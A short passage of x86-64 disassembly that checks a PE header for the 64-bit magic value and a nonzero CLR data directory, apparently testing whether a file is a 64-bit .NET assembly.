je 0x140014b7d
xor al, al
jmp 0x140014bc1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014b91
xor al, al
jmp 0x140014bc1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014ba3
xor al, al
jmp 0x140014bc1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014bbf
xor al, al
jmp 0x140014bc1
mov al, 1
add rsp, 0x38
ret